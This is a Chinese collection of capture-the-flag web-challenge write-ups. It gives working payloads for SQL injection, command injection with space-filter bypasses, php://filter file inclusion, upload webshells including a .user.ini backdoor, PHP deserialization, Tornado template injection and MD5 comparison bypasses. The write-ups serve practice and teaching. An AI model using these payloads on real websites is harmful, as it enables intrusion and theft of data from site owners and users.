本题打开后是一个登录网站,结合题目所给提示,考虑应该是SQL注入
看一下源代码,发现是get传参,和要加上check.php
判断下闭合方式,发现是‘闭合
结合其为登录页面,尝试一下万能密码得到flag。
payload:url+/check.php?username=1&password=admin'or'1=1
也可以选择直接在页面的用户名和密码上输入admin'or'1=1。
万能密码 可以看这位大佬的博客:大佬博客
页面就是一个简单撸猫画面,所以查看源代码
在查看源代码时拉到最下面,发现一串代码审计内容,所以通过修改payload得到flag
payload: url+/?cat=dog
打开以后就是一个滑稽笑脸,
通过查看源代码找到线索,去线索里看一看
进入这个php得到线索,返回source.php进行代码审计
"source.php","hint"=>"hint.php"];//定义了白名单
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
//判断 当page存在或者page是字符串时,返回true
if (in_array($page, $whitelist)) {
return true;
}
//白名单过滤,需要传入的page中由source.php或者hint.php
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
//mb_substr() 函数返回字符串的一部分,返回到0到mb_strpos的内容。
//mb_strpos() 查找字符串在另一个字符串中首次出现的位置
if (in_array($_page, $whitelist)) {
return true;
}
//查看page是否存在在白名单里面
$_page = urldecode($page);
//对page进行一次decode解码
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
//与上面一样,查看俩个?之间的内容
if (in_array($_page, $whitelist)) {
return true;
}
//查看是否存在白名单
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "
";
}
?>
所以构造payload,得到flag
payload: url+/?file=source.php?../../../../../ffffllllaaaagggg
打开后就是一个tips
点开后查看源代码也没得到什么线索
结合上面的payload,考虑到php伪协议,所以可以构建payload
url+?file=php://filter/convert.base64-encode/resource=flag.php
对其进行编码得到flag
常见的五种PHP伪协议
(1)php://input (碰到file_get_contents()可以通过此绕过)
用法:?file =php://input 使数据利用post传过去
(2)php://filter (用来读取文件内容)
用法:?file=php://filter/read=convert.base64-encode/resource=xxxx.php
?file=php://filter/convert.base64-encode/resource=xxxx.php
(3) zip:// (可以访问压缩包里的内容)
用法: zip://[压缩包绝对路径]#[压缩包内的文件]
?file=zip://D:\zip.zip%23phpinfo.txt
(4) phar:// (与zip://相同)
用法: ?file=phar://压缩包/内部文件 phar://xxx.png/shell.php (zip要用#隔开,这个用/)
(5) data:// (读取文件)
用法: ?file=data://text/plain,
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
?file=data:text/plain,
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
结合打开网站所给提示
payload: 127.0.0.1;ls /
看到flag,尝试获取他,通过cd可以达到访问上一个目录的目的
所以可以构造 127.0.0.1;cd ../../../;cat flag 得到flag
打开页面根据网站名字,是sql注入,所以尝试下注入
尝试通过select,发现过滤掉很多关键词
基本上不考虑联合注入,报错注入了,可以尝试堆叠注入,
先判断是什么闭合
是'闭合,所以通过此来进行堆叠注入爆库 1';show tables-- q
发现两张表,尝试一下爆表,先爆words 1';show columns from `words`-- q
再尝试下爆190那个表 1';show columns from `1919810931114514`-- q 发现有flag线索
但是,如果要接着直接查这个flag就会出现问题了,select等关键词被过滤了,所以我们只能另辟蹊径,根据从网上大佬的wp学习,可以将1919810931114514改名为words这个表,然后再将words这个表改成其他名字,添加id字段,将flag改为data,最后通过系统的select帮我们查出flag具体代码如下:
1';rename table words to word2;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE words CHANGE flag data VARCHAR(100);-- q
然后通过 1' or 1=1;# 直接得到flag。如果不放心,你也可以通过上面的爆表,爆库确认一下是否改名成功,有所变化。
(1)、为什么再爆库,爆表时候要用``包住表
反单引号:它是为了区分MySQL的保留字与普通字符而引入的符号。当表名、字段名为一些保留字的时候,如果不用反单引号标注,执行SQL的时候会报错。数据库、表、索引、列和别名用的是引用符是反单引号。
(2)、大佬博客 对堆叠注入原理和触发条件做了解释,并以此题为例题进行讲解。
从本题题目猜测大概和Exec那题差不多,打开网页发现只是需要通过get传参来进行ping
跟上题一样先查询一下,得到flag线索 url+/?ip=127.0.0.1;ls
尝试抓取一下这个flag。 url+/?ip=127.0.0.1;cat flag
发现他将空格过滤了,不过通过网上学习,发现可以用一些字符绕过空格,例如 $IFS$9 ${IFS} %09 等 ,所以我们尝试拼接url一下来重新抓取flag。 url+/?ip=127.0.0.1;cat${IFS}flag
应该是还过滤一些符号,这里可能过滤{},所以我们换个空格绕过字符:
url+/?ip=127.0.0.1;cat$IFS$9flag
发现其过滤flag这个字符。只能再回头看看线索了,当时不仅有flag.php,还有一个index.php。所以我们可以去查看一下这个 url+/?ip=127.0.0.1;cat$IFS$9index.php
发现里面过滤了很多字符,不过定义了一个变量$a,可以通过这个$a完成绕过
拼接url: url+/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php。访问后从源代码找到flag
二、本题知识点
(1)、空格绕过,本题除了我上面所说的那几天空格绕过方法,还有类似于 <> ${IFS < %20以及我上面所说的那几天。
结合题目又是一道sql注入题,
先判断下闭合方式,发现用'闭合时回显为空白,用"闭合回显为nonono,猜测为'闭合
但是回显是nonono。到这基本上我就寄了,转去网上找大佬wp学习
大佬猜测后端是如下代码,有着一个或结构。
select $_POST['query'] || flag from flag
所以只需要将$_POST['query'] 变成 *,1便可以得到flag 。此时语句会变成
select *,1 from flag 等同于 1 || flag 短路语法
(1)、短路语法
|| 逻辑或的短路也是类似的,a||b
计算机发现a是真,那么扔a;如果a是假,那么扔b
a||b, 计算机要么执行a要么执行b。a真执行a,a假执行b。
所以 select 1 from flag的意思其实是建立一个临时列,这个列的所有初始值都被设为1
看着这个页面什么也没法得到,所以只能从源代码里面找线索了
发现有个php 点击去看看
点击这个SECRET 发现什么都得不到,说我们已经查阅成功没看清,所以可以考虑一下bp抓包
如果傻傻的去访问这个flag.php,那么依旧是什么都得不到
结合这句话和代码审计里面的 input data。很难不让人想到php伪协议,
所以我们可以构建这个url
url+/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
得到一大串base64编码,解密一下就可以得到flag了
啊,依旧是一道sql注入题,先看看闭合式吧
发现用1'是有报错,而1"回显错误账号和密码,所以猜测为用'闭合
url+/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
url+/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=1
得到其中字段
所以我们在抓取其中字段内容,构造url
url+/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
得到flag
联合查询注入(UNION query SQL injectio)
获取所有数据库名:
union select 1,2,group_concat(schema_name) from information_schema.schemata --%20
获取指定数据库下所有表名:
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = '库名' --%20
获取指定表下所有字段名:
union select 1,2,group_concat(column_name) from information_schema.columns where table_name = '表名' --%20获取字段内容
union select 1,2,group_concat(字段1,字段2,字段3) from 表名 --%20
同样的,在主页面什么都找不到,只能从源代码里面找线索咯
说我们不是来自这个网站,所以我们可以选择用BP抓一下包,改一下来源
在BP中添加一个 Referer: https://Sycsecret.buuoj.cn
他又说我们没用这个Syclover浏览器访问,那我们再改一下
X-Forwarded-For (XFF) 是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。
Rerferer: url 代表用所需的网站进行访问
User-Agent: 代理浏览器
打开这个网页就直接给出了提示,
然后成功添加后,用其虚拟终端输入 cat /flag 得到flag
上传题,先上传个php文件看看回显
发现其还会对图片内容进行读取,所以我们需要修改图片里的内容,将里面的一句话木马换种方式书写,将其修改为如下代码。
发现还是不行,又出现一个新的回显,
到了这步就要用到一个新的东西,即文件幻术头绕过,详情可看这位大佬博客来进行了解
总之就是要在上面所述代码内容上面再添加图片文件头(十六进制转换为的字符)
GIF89a
回显虽然是上传成功,但是无法从蚁剑内连接进入,通过BP将其后缀修改为.phtml(这里如果你把后缀改成.php7 虽然绕过他对php的检查,但是没法蚁剑连接不进去,也可能是我自己的问题。)
构造payload url+/upload/xxxx.phtml 放入蚁剑内连接进入
然后跟上题一样,打开虚拟终端 cat /flag 得到flag
(1)、文件上传后缀绕过,这在打upload-labs靶场时就能积累一些,例如大小写绕过.Php等。//空格绕过xxx. php等。//::$DATA,在windows php里面,文件名后加入此字符,系统会将此文件当文件流处理,不会检测其后缀名。//双写绕过,例如xxx.pphphp等。//%00截断,这个好像要考虑php版本。
(2)、文件幻术头绕过,如上面所说,可以去看那位大佬的博客了解一下。
当你把鼠标移到灯泡的时候就会发现其实是一个上传题,所以老规矩先看看php回显不。
所以我们还是需要上传图片然后再通过BP抓包进行修改。发现回显显示上传成功
不过我们还需要在BP里将.jpg修改为.phtml。同样修改为php7虽然能绕过其对php的过滤,但是没法连接进入。
所以在网站后面加入这个后缀就可以连接进去了,老样子,打开虚拟终端,输入代码得到flag
先看看它是什么闭合方式,通过对比,发现其还是由'闭合
url+/check.php?username=1' oorrder bbyy 4 --+&password=1
用三回显不同,所以有三个字段,判断一下注入点
url+/check.php?username=1' uniunionon seleselectct 1,2,3 --+&password=1
发现回显为在第二个字段和第三个字段。来查询一下它里面所有的库
url+/check.php?username=1' uniunionon seleselectct 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata--+&password=1
猜测藏在ctf这个表中 查询一下库中表。
url+/check.php?username=1' uniunionon seleselectct 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whewherere table_schema='ctf'--+&password=1
再接下来就是查询表中字段咯,和上面一道sql题一样,不过这次要双写绕过。
url+/check.php?username=1' uniunionon seleselectct 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_name='Flag'--+&password=1
再查询一下字段中的内容
url+/check.php?username=1' uniunionon seleselectct 1,2,group_concat(flag) frfromom ctf.Flag--+&password=1
得到flag
看网上大佬WP这道题是有个猫的,不过我的不知道为什么没刷出来,不过无伤大雅
按照所给提示,有备份的好习惯,可以扫描目录得到www.zip(可以通过python脚本扫描或者通过kali上Dirb工具,记得找个字典。)
查询一番能得到的线索从class.php和index.php得到
class.php
username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "NO!!!hacker!!!";
echo "You name is: ";
echo $this->username;echo "";
echo "You password is: ";
echo $this->password;echo "";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "hello my friend~~sorry i can't give you the flag!";
die();
}
}
}
?>
index.php
通过class.php里的__construct,__wakeup,__destruct函数可以判断index.php中的反序列化存在漏洞。先通过class.php的内容构建一个反序列化,构造后的结果如下图。
修改前 O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
修改后 O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
修改前
O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
修改后
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
在class.php里,要满足username=admin 和 password=100从而满足得到flag的条件,而在index.php里,我们知道get传参传的是 select 。但select要被反序列化才行。而为什么还需要使用urlencode对序列化后的$b进行,是因为private序列化后的特使字符如果不使用字符表示会无法显示出来。而当当反序列化字符串,Object的值大于真实属性个数时,会跳过 __wakeup 函数的执行。即第一个"Name"后的数字。
最后再使用select传参得到flag
__construct():创建对象时初始化,当一个对象创建时被调用
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruction():结束时销毁对象,当一个对象销毁时被调用
对由private定义的,尽量使其用字符转化一下,相较于public,private产生的特使字符无法正常显示出来。
绕过__wakeup() 当反序列化字符串,Object的值大于真实属性个数时,会跳过 __wakeup 函数的执行。即第一个"Name"后的数字。
这题光靠打开页面什么也得不到,只能通过题目得到提示,然后对网站后缀进行搜索找到备份网站。
通过dirsearch找到备份网站为url+/index.php,bak。得到一个文件,打开后发现是代码审计
intval() 函数用于获取变量的整数值。
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
所以就需要$key是数字,且能等于$str,因为是弱等于,所以可以构造payload: url+/?key=123
得到flag
光看页面就是简单的计算器
所以从源代码里面找找线索,找到了一个calc.php。和题主用waf来确保安全,访问calc.php
preg_match 函数用于执行一个正则表达式匹配。
再结合上面所给的提示,所以我们需要用php的字符串解析特性从而达到绕过waf的效果,可以在num前加一个空格(或者加一个+)。
构造payload: url+/calc.php? num=print_r(scandir('/'));
得到的是错误的回显,放入BP查看,发现其把' '给过滤掉了
不过我们还可以通过chr()绕过,chr(47),47就是代表/
所以可以构造为 url+/calc.php? num=print_r(scandir(chr(47)));
//也可以使用var_dump()代替print_r();
在第八个找到我们的目标,因为它把' '过滤了,所以我们只能chr()一个字符一个字符的绕过
构造为
url+/calc.php? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));
类似于 url+/?calc.php? num=print_r(file_get_contents('/f1agg'));
从而得到flag
(1)、chr绕过,当出现类似于' '和/过滤的时候可以考虑通过chr来进行绕过,从而完成所想达到的目的。
(2)、利用php字符的解析特性从而达到绕过waf的目的。
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
(1)删除空白符
(2)将某些字符转换为下划线(包括空格)
打开后发现和上面哪一题界面一模一样,老规矩,从源代码里面找找线索
flag需要money=100000000,然后必须是来自CUIT的学生。
其界面写出了要得到flag的限制条件,在源代码里面则是有着一串代码
看到cookie等于0,考虑到计算机的世界只有俩个数字(滑稽)。尝试改成1后再传password的参试试。
修改后需要我们满足另一个条件了足够的钱,根据上面代码所表示,钱是$money。发现如果直接传money=100000000会出现如下图的结果。
根据我们以往所学,他说字符太长了,我们可以通过科学计数法来解决这种问题
构造payload password=404a&money=1e9
打开界面什么都得不到,输入也没什么变化
在抓包的时候找到了提示
即构造$pass经md5加密后出现or
,可令该SQL语句返回true
。不过还是不会,看大佬WP是用ffifdyop
绕过,因为这个字符被MD5哈希了之后前几位刚好是' or '6
所以这里就绕过去了。
跳转到一个新的网站,从源代码里可以找到本题解题关键
$a不等于$b,但是md5($a)等于md5($b),平常经常遇到的md5弱等于绕过。
可以构建 url+/levels91.php?a=QNKCDZO&b=240610708
又进入一个新的网页
这又考我们md5强等于绕过,可以通过数组绕过来得到flag
构建payload为 param1[]=1¶m2[]=2
得到flag
(1)、绕过md5进行注入,通过其进行哈希后的前几位字母满足注入公式所需从而达成目的
(2)、MD5弱等于绕过,其实可以看这个佬的博客,已经将弱等于和强等于都说了,弱等于就是部分字符串md5后是0exxx,刚好满足科学计数法,在弱等于当中,函数会判断其相等,但是其本质又不想等,所以可以绕过
(3)、MD5强等于绕过,通过数组进行绕过。因为md5函数无法处理数组。
打开发现有三个txt文件
flag.txt
hints.txt
且当我们在访问的时候,我们可以发现有参数传入
filename和filehash 。
结合flag.txt里的内容,想要得到flag应该是构造
url+/file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(filename))
但是我们不知道cookie_secret在哪。不过既然flag.txt和hints.txt都用了,那么八成线索是在最后一个文本render。通过上网查询和看大佬wp。得知render()是tornado里的函数,可以生成html模板。再结合本题题目easy_tornado。猜测为SSTI服务器模板注入。
具体可去该网站了解
所以先尝试
url+/file?filename=/fllllllllllllag&filehash={{1}}
回显为 Error
url+/error?msg={{1}}
在Tornado框架的附属文件handler.settings中存在cookie_secret。所以我们可以构造payload如下
url+/error?msg={{handler.settings}}
得到cookie_secret。
cookie_secret=3742f17c04ab407ca3bf4fa775921ec2(杠被我去掉了)
重新返回最初的地方去尝试获取flag。
即可构造url+/file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))
经过计算可构造
url+/file?filename=/fllllllllllllag&filehash=57fb487e8a01aeae99949369c6022f78
得到flag
基本上都是参考这个大佬博客从而达到复现的结果。
通过主页面发现有俩个选项,一个登录,一个注册。根据题目先试试admin登录一下
额,发现username输入admin password输入123直接就得到了flag
但这题其实有很多解法,例如flask 伪造,session漏洞和Unicode欺骗,前俩个学的不咋地,这里就用Unicode欺骗来解决一下。
我们可以从Unicode字符表里找到如下图的位置 该表网址
从里面凑齐一个ᴬᴰᴹᴵᴺ,然后注册,注册完后登录然后进行修改密码。
然后再用修改后的密码,用户名为admin登录得到flag
其原理为 当我们在注册的时候 ”ᴬᴰᴹᴵᴺ“ 经过strlower(),转成”ADMIN“ , 在修改密码的时候 ”ADMIN“经过strlower()变成”admin“ , 当我们再次退出登录的时候 ”admin“经过strlower()变成”admin"
strlower:将字符串转换为小写。
通过Unicode欺骗使自己成为admin登录网站得到flag
以及弱口令爆破。
如果想知道另俩种做法,可以看这位大佬博客
一、本题做题思路
一道Upload的题,尝试上传一下PHP文件
".file_get_contents($text,'r')."
";
if(preg_match("/flag/",$file)){//正则运算将flag过滤
echo "Not now!";
exit();
}else{
include($file); //useless.php//提示一个php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
file_get_contents()函数在我们上面一道题中使用过,是用来读取文件。'r'是读取方式
通过php://input绕过该函数
正则将flag过滤了,下面给出一个php,但如果直接访问只会得到一个白屏,其他什么也得不到
所以我们可以通过php伪协议 php://filter 读取
所以构造payload url+/?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php
file)){
echo file_get_contents($this->file);
echo "
";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
再结合主页面的unserialize()函数,显然我们需要将这个进行序列化
然后输入最终的payload
url+/?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
得到flag
SQL注入,先看是什么闭合方式
union被过滤掉 ,还有空格也被过滤,所以我们需要使用括号绕过,但同时这道题没有过滤extractvalue。所以我们可以尝试用这来解决问题
获取数据库名
username=1'^extractvalue(1,concat(0x7e,(select(database()))))%23&password=1
爆破表名得到字段名
username=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23&password=1
username=1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23&password=1
获取用户名和密码,出现一部分flag
/check.php?username=1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))%23&password=1
然后可以使用left()和right()函数进行拼接,这里直接使用right函数,然后再把重复的删去组成flag
username=1'^extractvalue(1,concat(0x7e,(select(group_concat(right(password,20)))from(H4rDsq1))))%23&password=1
去掉重复的即为最终的flag答案。
代码如下
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {//md5强等于绕过
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))//$passwd不能是数字
{
if($passwd==1234567)//弱等于为1234567
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}
先走第一步,MD5强等于绕过,即数组绕过
再说明POST传参$passwd不是数字且弱等于1234567。所以我们可以在1234567后加一个英文字母。
得到flag
一道上传题,先试试PHP。回显非法后缀,看来又是要靠图片来绕过了
再次尝试一下。
GIF89a
得到回显
这不就跟我们上面一道题长的一样了么。所以构造payload,不过我们需要对图片内容修改一下,将其POST传入改为GET传入,要记得上传一个.user.ini文件,文件内容在下面写了。
GIF89a?
payload为 : url+/uploads/f9e1016a5cec370aae6a18d438dabfa5/index.php?shell=print_r("/");
然后通过cat来抓取flag
/payload为 : url+/uploads/f9e1016a5cec370aae6a18d438dabfa5/index.php?shell=system('cat /flag');
或者通过蚁剑抓包
先传一个.user.ini文件,文件内容如下
GIF89a
auto_prepend_file=xiaoma.jpg
然后再传入这个xiaoma.jpg
最后在蚁剑上连接
.user.ini留后门 使.user.ini指定文件,在其当前目录下的文件执行时会将你指定的文件中的代码执行出来,以此带入后门。
本题是一道代码审计题,代码如下:
process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {//判断op是弱等于字符串1还是弱等于字符串2
$res = $this->read();
$this->output($res);//如果弱等于字符串2,就转向read()和output()函数
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);//读取文件路径
}
return $res;
}
private function output($s) {
echo "[Result]:
";//得出结果
echo $s;
}
function __destruct() {
if($this->op === "2")//如果op强等于字符串2,则将op等于字符串1,然后执行process()。
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}//GET传参str,如果没有不可打印的字符,对该字符串进行反序列化
}
is_valid()函数对传入的$s进行检测,如果它的ASCII码值在32-25之间,才会返回true。即确定$s的字符都是能被打印的。
经过上面代码审计,得知如果需要得到结果,在__destruct()函数里要开始准备对op所传的参来绕过process()方法,防止op被置于字符串1 可以传入$op=2,所以通过在线php运行工具构造payload。因为这道题用的是protected,而protected会导致最后得到的序列化结果有些符号打印不出来,
代码如下
得到结果
file_get_content()可以读取php://filter伪协议。
is_valid()函数对传入参进行检测
打开源码有线索
打开发现源码有提示
经过base32 - base64 解密得到线索
select * from user where username = '$name'
再结合本题是SQL注入题,Fuzz测试一下
发现or,order等都被过滤了,但是Order(没被过滤)可以绕过order。
根据'和"回显判断本题是由'回显(上面是'闭合,下面是"闭合)
根据Order绕过判断列数可知本题有三个字段数,上面是判断三个,下面是判断4个
本题的考点在于是否得知 当我们进行联合查询时,如果联合查询查询的数据不存在,联合查询会虚构一个数据。
所以我们可以跟这样写
在UserName中写 1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#
在password中写 1
c4ca4238a0b923820dcc509a6f75849b是1的MD5 32位小写加密
联合查询所查询的数据不存在时,联合查询会构造一个虚拟的数据
当我们直接上传.php文件时,会出现错误回显
所以换种php输入方法
想着再通过.htaccess文件使蚁剑可以连接,发现对其也有限制
不过没事,这个原因可以通过BP抓包,然后将Content-Type 修改为image/jpg就行
所以尝试堆叠注入查查库
1';show tables-- q
看到线索了,直接查看Flaghere这个表
1';show columns from `FlagHere`-- q
再看看words表
1';show columns from `words`-- q
到这里尝试抓取flag也没法实现,也没法像随便注那道题那样解决,看网上大佬博客知道了还有Handler方法
HANDLER … OPEN语句打开一个表
HANDLER … READ语句访问
HANDLER … CLOSE关闭一个表
由此我们可以构造payload
1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#
得到flag
MySQL 中除了可以使用 select 查询表中的数据,也可使用 handler 语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler 语句并不具备 select 语句的所有功能。它是 MySQL 专用的语句,并没有包含到SQL标准中。
HANDLER ... OPEN
语句会打开一个表,使其能够用后续的HANDLER ... READ
语句访问。这个表不能和其他会话共享直到HANDLER ... CLOSE
或会话关闭。
详情可看大佬博客